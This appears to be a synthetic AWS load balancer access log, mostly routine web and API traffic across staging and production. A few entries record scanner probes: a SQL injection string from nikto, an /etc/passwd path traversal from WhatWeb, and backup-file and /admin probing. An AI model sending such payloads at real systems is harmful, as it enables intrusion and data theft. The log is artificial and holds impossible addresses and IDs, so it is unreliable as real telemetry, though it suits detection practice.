2024-11-01T02:22:09.041281Z staging-alb 207.35.124.33:24889 142.252.66.237:443 0.032645 0.512837 0.092335 200 200 790 9447 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8e1-4b2a977700e94438b13b8cd9" "staging-alb.example.com" "-" 0 2024-11-01T02:22:09.041281Z "forward" "-" "-" "142.252.66.237:443" "200" "-" "-" -https 2024-11-01T02:22:10.116245Z staging-alb 226.168.13.85:63217 199.122.200.248:8080 0.076615 0.031093 0.032493 302 302 315 7417 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8e2-faa6346e1f98456f86d7ce7c" "staging-alb.example.com" "-" 6 2024-11-01T02:22:10.116245Z "forward" "-" "-" "199.122.200.248:8080" "302" "-" "-" -https 2024-11-01T02:22:11.901301Z prod-web-alb 5.28.242.183:47080 10.0.126.75:443 0.072275 0.312628 0.041756 302 302 583 13895 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8e3-7f9a60647c394b21abe8c767" "prod-web-alb.example.com" "-" 4 2024-11-01T02:22:11.901301Z "forward" "-" "-" "10.0.126.75:443" "302" "-" "-" -https 2024-11-01T02:22:13.415349Z prod-web-alb 185.6.172.8:59434 10.0.8.100:443 0.031968 0.399390 0.052206 404 404 812 3573 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8e5-30fdc60ac24a4cdbaaddea92" "prod-web-alb.example.com" "-" 6 2024-11-01T02:22:13.415349Z "forward" "-" "-" "10.0.8.100:443" "404" "-" "-" -http 2024-11-01T02:22:14.608392Z staging-alb 121.142.114.37:27577 254.57.119.126:80 0.107500 0.572368 0.094226 200 200 382 11917 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8e6-66837412f21d4e9eb6aeac69" "staging-alb.example.com" "-" 5 2024-11-01T02:22:14.608392Z "forward" "-" "-" "254.57.119.126:80" "200" "-" "-" -http 2024-11-01T02:22:15.923133Z staging-alb 207.222.200.63:10311 155.228.4.68:443 0.090510 0.524028 0.119535 200 200 142 8739 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8e7-e94b8c64a77d41a4aef10885" "staging-alb.example.com" "-" 10 2024-11-01T02:22:15.923133Z "forward" "-" "-" "155.228.4.68:443" "200" "-" "-" -https 2024-11-01T02:22:16.371227Z prod-web-alb 39.61.67.214:32133 10.0.214.39:443 0.012589 0.374370 0.080324 200 200 278 5451 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8e8-156000a7f6914614aa998f7f" "prod-web-alb.example.com" "-" 1 2024-11-01T02:22:16.371227Z "forward" "-" "-" "10.0.214.39:443" "200" "-" "-" -https 2024-11-01T02:22:16.852783Z prod-api-alb 54.172.135.34:46433 10.0.73.236:443 0.034661 0.210711 0.040337 200 200 310 11956 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8e8-f5316aad7aa7481d8400a43c" "prod-api-alb.example.com" "-" 2 2024-11-01T02:22:16.852783Z "forward" "-" "-" "10.0.73.236:443" "200" "-" "-" -https 2024-11-01T02:22:18.837992Z staging-alb 223.31.202.100:44600 184.202.49.123:80 0.147013 0.731789 0.144485 404 404 232 4611 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8ea-b2f2332207b542c087764ef0" "staging-alb.example.com" "-" 3 2024-11-01T02:22:18.837992Z "forward" "-" "-" "184.202.49.123:80" "404" "-" "-" -http 2024-11-01T02:22:19.179444Z staging-alb 153.155.182.176:39076 78.15.184.65:80 0.030758 0.292925 0.023244 200 200 258 3780 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8eb-a2463503c410493ba772b3fc" "staging-alb.example.com" "-" 1 2024-11-01T02:22:19.179444Z "forward" "-" "-" "78.15.184.65:80" "200" "-" "-" -https 2024-11-01T02:22:20.520608Z prod-api-alb 144.90.65.218:53512 10.0.238.233:443 0.019447 0.265634 0.034589 302 302 135 5447 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8ec-1eea718c7def4d68b4439dd5" "prod-api-alb.example.com" "-" 8 2024-11-01T02:22:20.520608Z "forward" "-" "-" "10.0.238.233:443" "302" "-" "-" -https 2024-11-01T02:22:21.098388Z staging-alb 144.6.197.15:17265 8.92.232.46:8080 0.146001 0.344092 0.115405 200 200 442 8296 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8ed-cd8189a5a0c94add8a84da55" "staging-alb.example.com" "-" 3 2024-11-01T02:22:21.098388Z "forward" "-" "-" "8.92.232.46:8080" "200" "-" "-" -https 2024-11-01T02:22:21.275202Z prod-web-alb 193.27.228.11:62237 10.0.100.132:443 0.065010 0.085709 0.004710 200 200 852 11470 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8ed-065afca695a94db590e4cbc2" "-" "-" 3 2024-11-01T02:22:21.275202Z "forward" "-" "-" "10.0.100.132:443" "200" "-" "-" -https 2024-11-01T02:22:23.178740Z staging-alb 157.33.17.255:30797 170.50.1.15:443 0.122797 0.003300 0.004779 404 404 228 14202 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8ef-eb5395e3ce0846d288de05d4" "staging-alb.example.com" "-" 0 2024-11-01T02:22:23.178740Z "forward" "-" "-" "170.50.1.15:443" "404" "-" "-" -https 2024-11-01T02:22:24.537859Z prod-api-alb 105.14.9.237:45500 10.0.128.171:443 0.054766 0.393014 0.092315 200 200 480 3389 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8f0-eca05f1697e745e69dced53f" "prod-api-alb.example.com" "-" 9 2024-11-01T02:22:24.537859Z "forward" "-" "-" "10.0.128.171:443" "200" "-" "-" -https 2024-11-01T02:22:26.401359Z prod-api-alb 119.111.209.145:34515 10.0.75.128:443 0.023970 0.006320 0.081409 404 404 585 9407 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8f2-6de78c3c0bf74ff1a1dff501" "prod-api-alb.example.com" "-" 1 2024-11-01T02:22:26.401359Z "forward" "-" "-" "10.0.75.128:443" "404" "-" "-" -https 2024-11-01T02:22:27.846145Z prod-api-alb 48.231.119.44:10410 10.0.234.124:443 0.035431 0.043295 0.036787 301 301 252 8814 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8f3-3f1c63bb83b240f59a94c42f" "prod-api-alb.example.com" "-" 1 2024-11-01T02:22:27.846145Z "forward" "-" "-" "10.0.234.124:443" "301" "-" "-" -https 2024-11-01T02:22:28.707587Z prod-api-alb 171.109.83.146:56835 10.0.209.24:443 0.022259 0.286477 0.079684 200 200 882 4320 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8f4-dd60c439a2b84103a2e27f80" "prod-api-alb.example.com" "-" 8 2024-11-01T02:22:28.707587Z "forward" "-" "-" "10.0.209.24:443" "200" "-" "-" -https 2024-11-01T02:22:29.462975Z prod-api-alb 65.8.86.104:53141 10.0.46.142:443 0.014220 0.273272 0.027355 301 301 277 10525 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8f5-5db5493e493d4c9c973e3525" "prod-api-alb.example.com" "-" 4 2024-11-01T02:22:29.462975Z "forward" "-" "-" "10.0.46.142:443" "301" "-" "-" -https 2024-11-01T02:22:31.053943Z prod-api-alb 76.246.249.115:25520 10.0.57.3:443 0.007890 0.201460 0.071252 200 200 74 8645 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8f7-cac38d6f8f5a47c695dd21b2" "prod-api-alb.example.com" "-" 3 2024-11-01T02:22:31.053943Z "forward" "-" "-" "10.0.57.3:443" "200" "-" "-" -https 2024-11-01T02:22:31.341590Z prod-web-alb 72.75.156.140:58575 10.0.6.216:443 0.074547 0.062761 0.073154 200 200 184 5392 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8f7-870f83d9be6a4b548023f13c" "prod-web-alb.example.com" "-" 6 2024-11-01T02:22:31.341590Z "forward" "-" "-" "10.0.6.216:443" "200" "-" "-" -https 2024-11-01T02:22:32.797850Z staging-alb 107.203.139.102:26390 191.47.13.6:443 0.021207 0.475604 0.023297 404 404 631 13860 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8f8-46a05890622f4d5d963502f4" "staging-alb.example.com" "-" 5 2024-11-01T02:22:32.797850Z "forward" "-" "-" "191.47.13.6:443" "404" "-" "-" -https 2024-11-01T02:22:33.609190Z prod-web-alb 100.120.106.21:46224 10.0.237.235:443 0.059448 0.485182 0.005648 404 404 115 4324 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8f9-9a05ddd966574157a44679b5" "prod-web-alb.example.com" "-" 0 2024-11-01T02:22:33.609190Z "forward" "-" "-" "10.0.237.235:443" "404" "-" "-" -https 2024-11-01T02:22:34.578091Z prod-api-alb 43.139.123.149:41007 10.0.151.241:443 0.055632 0.110539 0.078662 302 302 107 4276 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8fa-ab3e2a1ac4324e84ba1014f3" "prod-api-alb.example.com" "-" 2 2024-11-01T02:22:34.578091Z "forward" "-" "-" "10.0.151.241:443" "302" "-" "-" -https 2024-11-01T02:22:35.731552Z staging-alb 83.24.17.218:62271 47.239.192.117:8080 0.048505 0.571601 0.120362 200 200 603 7841 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8fb-a25bbb9a3c404f9fbe40d553" "staging-alb.example.com" "-" 8 2024-11-01T02:22:35.731552Z "forward" "-" "-" "47.239.192.117:8080" "200" "-" "-" -https 2024-11-01T02:22:37.721961Z prod-web-alb 119.217.79.84:63953 10.0.89.65:443 0.082752 0.177559 0.054989 302 302 810 1502 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8fd-ad91dac87e074b08921678e9" "prod-web-alb.example.com" "-" 4 2024-11-01T02:22:37.721961Z "forward" "-" "-" "10.0.89.65:443" "302" "-" "-" -https 2024-11-01T02:22:39.532753Z prod-api-alb 45.155.205.102:37197 10.0.78.159:443 0.056754 0.436941 0.080049 403 403 471 11493 "GET /config.php~ HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8ff-6b10b0755e1d4dbbbf921c56" "-" "-" 1 2024-11-01T02:22:39.532753Z "forward" "-" "-" "10.0.78.159:443" "403" "-" "-" -http 2024-11-01T02:22:40.966126Z staging-alb 226.115.201.74:45008 5.92.130.135:443 0.046450 0.361741 0.020643 200 200 265 2029 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d900-f1a17429f2f3464c86d905d9" "staging-alb.example.com" "-" 2 2024-11-01T02:22:40.966126Z "forward" "-" "-" "5.92.130.135:443" "200" "-" "-" -https 2024-11-01T02:22:42.449823Z prod-api-alb 247.163.169.155:22249 10.0.93.207:443 0.026519 0.196912 0.037731 302 302 219 11052 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d902-1d7184ef4a974ee29ea3f1f0" "prod-api-alb.example.com" "-" 1 2024-11-01T02:22:42.449823Z "forward" "-" "-" "10.0.93.207:443" "302" "-" "-" -https 2024-11-01T02:22:43.920551Z prod-api-alb 45.9.29.214:40923 10.0.199.127:443 0.092752 0.136891 0.017603 200 200 223 12119 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d903-11a049a748594080b8f56f76" "prod-api-alb.example.com" "-" 4 2024-11-01T02:22:43.920551Z "forward" "-" "-" "10.0.199.127:443" "200" "-" "-" -https 2024-11-01T02:22:44.446516Z prod-api-alb 116.83.238.39:59156 10.0.76.123:443 0.066130 0.034822 0.088821 200 200 939 1798 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d904-ed8b1b61997945b6b5dcd862" "prod-api-alb.example.com" "-" 3 2024-11-01T02:22:44.446516Z "forward" "-" "-" "10.0.76.123:443" "200" "-" "-" -https 2024-11-01T02:22:44.747130Z prod-api-alb 62.211.5.32:47091 10.0.111.127:443 0.033063 0.103843 0.042129 200 200 389 6180 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d904-02157a5af448401b86ab83ca" "prod-api-alb.example.com" "-" 9 2024-11-01T02:22:44.747130Z "forward" "-" "-" "10.0.111.127:443" "200" "-" "-" -https 2024-11-01T02:22:46.495147Z prod-api-alb 213.124.37.236:63037 10.0.92.249:443 0.016748 0.343357 0.041375 302 302 510 6382 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d906-d870cb10c9dd427799726306" "prod-api-alb.example.com" "-" 3 2024-11-01T02:22:46.495147Z "forward" "-" "-" "10.0.92.249:443" "302" "-" "-" -https 2024-11-01T02:22:47.823140Z prod-web-alb 148.198.128.126:48906 10.0.207.9:443 0.047056 0.425032 0.048782 301 301 547 5113 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d907-1d6bf8e09b8e4c99881d6893" "prod-web-alb.example.com" "-" 5 2024-11-01T02:22:47.823140Z "forward" "-" "-" "10.0.207.9:443" "301" "-" "-" -https 2024-11-01T02:22:49.423461Z prod-api-alb 121.82.125.140:16801 10.0.90.210:443 0.063466 0.309777 0.042675 200 200 158 14841 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d909-a1eda9cff80b4948ad2efbed" "prod-api-alb.example.com" "-" 7 2024-11-01T02:22:49.423461Z "forward" "-" "-" "10.0.90.210:443" "200" "-" "-" -https 2024-11-01T02:22:50.648621Z staging-alb 144.190.163.209:18434 144.147.154.31:8080 0.076220 0.120784 0.064965 302 302 450 7767 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d90a-1128e19e4f344d769f440d15" "staging-alb.example.com" "-" 8 2024-11-01T02:22:50.648621Z "forward" "-" "-" "144.147.154.31:8080" "302" "-" "-" -https 2024-11-01T02:22:52.646555Z staging-alb 121.147.245.85:11381 237.222.83.66:8080 0.040269 0.555991 0.023469 200 200 107 11361 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d90c-cf8452949e34437eacecb50e" "staging-alb.example.com" "-" 4 2024-11-01T02:22:52.646555Z "forward" "-" "-" "237.222.83.66:8080" "200" "-" "-" -https 2024-11-01T02:22:53.738052Z prod-api-alb 177.182.97.253:16397 10.0.216.107:443 0.070474 0.168235 0.015160 200 200 245 6691 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d90d-30572f9cf5f0497e9d0322fe" "prod-api-alb.example.com" "-" 1 2024-11-01T02:22:53.738052Z "forward" "-" "-" "10.0.216.107:443" "200" "-" "-" -https 2024-11-01T02:22:55.388007Z prod-api-alb 47.255.47.29:44358 10.0.225.232:443 0.010637 0.345239 0.009497 404 404 126 13883 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d90f-0b720dd8be9849908a5b1530" "prod-api-alb.example.com" "-" 10 2024-11-01T02:22:55.388007Z "forward" "-" "-" "10.0.225.232:443" "404" "-" "-" -https 2024-11-01T02:22:55.756522Z prod-web-alb 67.25.189.181:29554 10.0.229.38:443 0.044522 0.069405 0.080467 200 200 489 405 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d90f-f92aad354b3848709e2b2b75" "prod-web-alb.example.com" "-" 1 2024-11-01T02:22:55.756522Z "forward" "-" "-" "10.0.229.38:443" "200" "-" "-" -https 2024-11-01T02:22:56.393909Z staging-alb 193.27.228.135:44613 149.151.213.65:8080 0.045955 0.173274 0.053307 404 404 649 8910 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d910-9a57ba5223c942289887a885" "-" "-" 5 2024-11-01T02:22:56.393909Z "forward" "-" "-" "149.151.213.65:8080" "404" "-" "-" -https 2024-11-01T02:22:56.971180Z prod-api-alb 234.83.206.222:49072 10.0.54.58:443 0.042006 0.496960 0.049075 200 200 525 11051 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d910-ea52318eedf34b0d87b33dd5" "prod-api-alb.example.com" "-" 7 2024-11-01T02:22:56.971180Z "forward" "-" "-" "10.0.54.58:443" "200" "-" "-" -https 2024-11-01T02:22:58.508372Z prod-api-alb 185.181.245.151:47562 10.0.59.169:443 0.076444 0.082635 0.086531 301 301 359 14067 "POST /admin HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d912-e6b26b827c4241edb35c66a1" "-" "-" 1 2024-11-01T02:22:58.508372Z "forward" "-" "-" "10.0.59.169:443" "301" "-" "-" -http 2024-11-01T02:23:00.111090Z staging-alb 79.90.63.133:35252 133.9.187.26:80 0.109519 0.396250 0.039031 200 200 830 12384 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d914-a8788f7ed0db4c02a8a1e1c7" "staging-alb.example.com" "-" 8 2024-11-01T02:23:00.111090Z "forward" "-" "-" "133.9.187.26:80" "200" "-" "-" -http 2024-11-01T02:23:01.767867Z staging-alb 167.254.239.139:39999 5.27.227.138:8080 0.141983 0.322075 0.137451 200 200 297 12046 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d915-766247ecbc034fca8c51c582" "staging-alb.example.com" "-" 6 2024-11-01T02:23:01.767867Z "forward" "-" "-" "5.27.227.138:8080" "200" "-" "-" -https 2024-11-01T02:23:03.298571Z prod-api-alb 151.244.44.199:50852 10.0.220.109:443 0.095033 0.305420 0.042975 200 200 399 5672 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d917-ef430d8b983a43c5a06183cd" "prod-api-alb.example.com" "-" 3 2024-11-01T02:23:03.298571Z "forward" "-" "-" "10.0.220.109:443" "200" "-" "-" -https 2024-11-01T02:23:04.181150Z prod-api-alb 91.194.78.177:30604 10.0.82.230:443 0.073038 0.351702 0.048987 200 200 991 3889 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 